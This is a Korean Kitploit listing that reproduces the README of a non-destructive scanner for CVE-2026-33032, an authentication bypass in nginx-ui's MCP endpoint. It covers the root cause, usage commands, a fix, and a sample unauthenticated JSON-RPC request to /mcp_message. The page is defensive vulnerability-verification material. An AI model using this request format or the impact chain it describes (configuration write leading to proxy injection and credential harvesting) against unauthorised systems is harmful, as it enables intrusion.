Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2026-33032-scanner — 비파괴적 취약점 스캐너: Nginx-UI MCP 엔드포인트 인증 우회 (CVE-2026-33032) | Kitploit
도구/GitHubGitHub/twinson333/cve-2026-33032-scanner
Vulnerability ScannersExploitationWeb SecurityPenetration TestingAuthenticationAPI Security
GitHubtwinson333/cve-2026-33032-scanner

cve-2026-33032-scanner

비파괴적 취약점 스캐너: Nginx-UI MCP 엔드포인트 인증 우회 (CVE-2026-33032)

저장소 보기
324개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-33032 스캐너

Nginx-UI MCP 엔드포인트 인증 우회를 위한 비파괴적 취약점 스캐너

취약점 개요

CVE-2026-33032는 nginx-ui의 Model Context Protocol(MCP) 통합에서 발생하는 인증 우회 취약점입니다. /mcp_message 엔드포인트는 모든 MCP 도구에 대한 접근을 제공하면서 인증 미들웨어가 없어, 원격 공격자가 다음을 수행할 수 있습니다:

  • nginx 구성 및 상태 읽기
  • nginx 구성 파일 생성/수정/삭제
  • nginx 서비스 재시작 또는 리로드
  • 민감한 구성 데이터 유출
  • 트래픽 가로채기를 위한 악성 구성 주입

근본 원인

  1. 인증 비대칭성: /mcp 엔드포인트는 인증을 요구하지만 /mcp_message는 그렇지 않습니다:

    root@kitploit:~
    r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
    r.Any("/mcp_message", middleware.IPWhiteList(), ...)  // AuthRequired() 누락
    
  2. Fail-Open IP 화이트리스트: 기본 IP 화이트리스트가 비어 있어, 미들웨어가 이를 "모두 허용"으로 처리합니다

  3. 두 엔드포인트가 동일한 핸들러 공유: 둘 다 모든 MCP 도구 호출을 처리하는 동일한 mcp.ServeHTTP()로 라우팅됩니다

스캐너 기능

✅ 비파괴적 테스트 - 읽기 전용 MCP 도구만 사용
✅ 포괄적 핑거프린팅 - nginx-ui 설치 식별
✅ 안전한 개념 증명 - 구성 변경 없음
✅ 배치 스캔 - 파일에서 여러 대상 처리
✅ 상세 보고 - 통합을 위한 JSON 출력

설치

root@kitploit:~
# 스캐너 복제 또는 다운로드
git clone https://github.com/Twinson333/cve-2026-33032-scanner.git
cd cve-2026-33032
chmod +x cve-2026-33032-scanner.py

# 의존성 설치 (필요한 경우)
pip3 install requests

사용법

기본 스캔

root@kitploit:~
# 단일 대상 스캔
python3 cve-2026-33032-scanner.py -u http://target.com:9000

# 상세 출력으로 스캔
python3 cve-2026-33032-scanner.py -u https://nginx-ui.example.com -v

# 사용자 지정 타임아웃
python3 cve-2026-33032-scanner.py -u http://192.168.1.100:9000 -t 15

배치 스캔

root@kitploit:~
# 파일에서 여러 대상 스캔
python3 cve-2026-33032-scanner.py -f targets.txt

# 상세 출력 및 JSON 보고서 포함
python3 cve-2026-33032-scanner.py -f targets.txt -v -o results.json

#Burp Pingback
python3 cve-2026-33032-scanner.py -u http://target.com:9000 --collaborator abc123.burpcollaborator.net

대상 파일 형식

root@kitploit:~
# targets.txt - 한 줄에 하나의 URL
http://192.168.1.100:9000
https://nginx-ui.corp.com
http://10.0.0.50:9000

작동 방식

스캐너는 다단계 탐지 프로세스를 수행합니다:

1단계: 핑거프린팅

설치를 식별하기 위해 일반적인 nginx-ui 엔드포인트를 확인합니다:

  • /api/info - 버전 정보
  • /login - 로그인 페이지
  • /api/auth/login - 인증 엔드포인트
  • /mcp 및 /mcp_message - MCP 엔드포인트

2단계: 인증 확인

/mcp 엔드포인트가 인증을 제대로 요구하는지 테스트합니다 (기준선)

3단계: 취약점 악용

인증 없이 /mcp_message를 통해 비파괴적 MCP 도구 호출을 시도합니다:

  1. nginx_status (가장 안전) - nginx 프로세스 상태 읽기
  2. nginx_config_list - 구성 파일 목록
  3. nginx_config_base_path - 구성 디렉터리 경로 가져오기

인증 없이 도구가 성공하면 취약점이 확인됩니다.

사용되는 안전한 MCP 도구

스캐너는 읽기 전용 MCP 도구만 호출합니다:

도구설명영향
nginx_statusnginx 서비스 상태 읽기변경 없음
nginx_config_list구성 파일 목록변경 없음
nginx_config_base_path구성 디렉터리 경로 가져오기변경 없음

명시적으로 회피하는 도구:

  • nginx_config_add - 파일을 생성함
  • nginx_config_modify - 구성을 변경함
  • restart_nginx / reload_nginx - 서비스 중단
  • nginx_config_enable - 활성 구성을 변경함

출력 예시

취약한 대상

root@kitploit:~
[+] nginx-ui 감지됨: /login에서 'nginx-ui' 발견
[+] /mcp 엔드포인트가 제대로 보호됨

[*] /mcp_message 엔드포인트 테스트 중 (CVE-2026-33032)...
  [*] 도구 시도 중: nginx_status - nginx 상태 읽기 (가장 안전)
      상태: 200

======================================================================
[!] CVE-2026-33032에 취약함
======================================================================
증거: 인증 없이 nginx_status 실행 성공

보호된 대상

root@kitploit:~
[+] nginx-ui 감지됨: 버전 엔드포인트 접근 가능
[+] /mcp 엔드포인트가 제대로 보호됨

[*] /mcp_message 엔드포인트 테스트 중 (CVE-2026-33032)...
  [*] 도구 시도 중: nginx_status - nginx 상태 읽기 (가장 안전)
      상태: 401
      인증 필요 (보호됨) ✓

[+] 취약하지 않음 - 엔드포인트가 인증을 요구함

해결 방법

취약점이 확인된 경우:

  1. 즉시 수정: /mcp_message에 인증 미들웨어 추가:

    root@kitploit:~
    r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
        func(c *gin.Context) {
            mcp.ServeHTTP(c)
        })
    
  2. 심층 방어:

    • IP 화이트리스트를 기본적으로 모두 거부하도록 구성
    • 외부 접근이 필요하지 않은 경우 MCP 엔드포인트를 localhost로만 제한
    • MCP 엔드포인트에 속도 제한 구현
  3. 업그레이드: 패치된 nginx-ui 버전이 제공되면 업데이트

책임 있는 공개

이 도구는 다음을 위해 설계되었습니다:

  • ✅ 버그 바운티 프로그램
  • ✅ 승인된 침투 테스트
  • ✅ 허가를 받은 보안 연구
  • ✅ 공개 전 취약점 검증

소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에는 이 도구를 사용하지 마십시오.

버그 바운티 팁

이 취약점을 보고할 때:

  1. 심각도: 치명적 (CVSS 9.8+)

    • 네트워크 접근 가능
    • 인증 불필요
    • 완전한 시스템 손상
    • 구성 유출 + 수정
  2. 증거: 인증 없는 MCP 도구 호출 성공을 보여주는 스캐너 출력 포함

  3. 영향 체인:

    • 인증 없는 접근 → 구성 읽기 → 백엔드 토폴로지 노출
    • 구성 쓰기 → 악성 프록시 주입 → 자격 증명 수집
    • Nginx 재시작 → 서비스 중단 → DoS
  4. 안전한 PoC: 읽기 전용 도구만 사용 (nginx_status, nginx_config_list)

기술 세부 사항

MCP 도구 호출 형식

root@kitploit:~
POST /mcp_message HTTP/1.1
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "nginx_status",
    "arguments": {}
  },
  "id": 1
}

성공 응답

root@kitploit:~
{
  "jsonrpc": "2.0",
  "result": {
    "content": [
      {
        "type": "text",
        "text": "nginx is running (PID: 1234)"
      }
    ]
  },
  "id": 1
}

보호된 응답

root@kitploit:~
HTTP/1.1 401 Unauthorized
{
  "error": "authentication required"
}

참고 자료

  • CVE: CVE-2026-33032
  • 영향: nginx-ui (MCP 통합이 포함된 버전)
  • CVSS: 9.8 (치명적)
  • CWE: CWE-306 (중요 기능에 대한 인증 누락)

라이선스

이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.

작성자

Antony Esthak Twinson @ Cyber Tamarin
보안 연구원 | 버그 바운티 헌터
웹 애플리케이션 보안 및 취약점 연구 전문


면책 조항: 이 스캐너는 비파괴적 테스트만 수행합니다. 시스템을 테스트하기 전에 항상 적절한 승인을 받으십시오.

도구 다운로드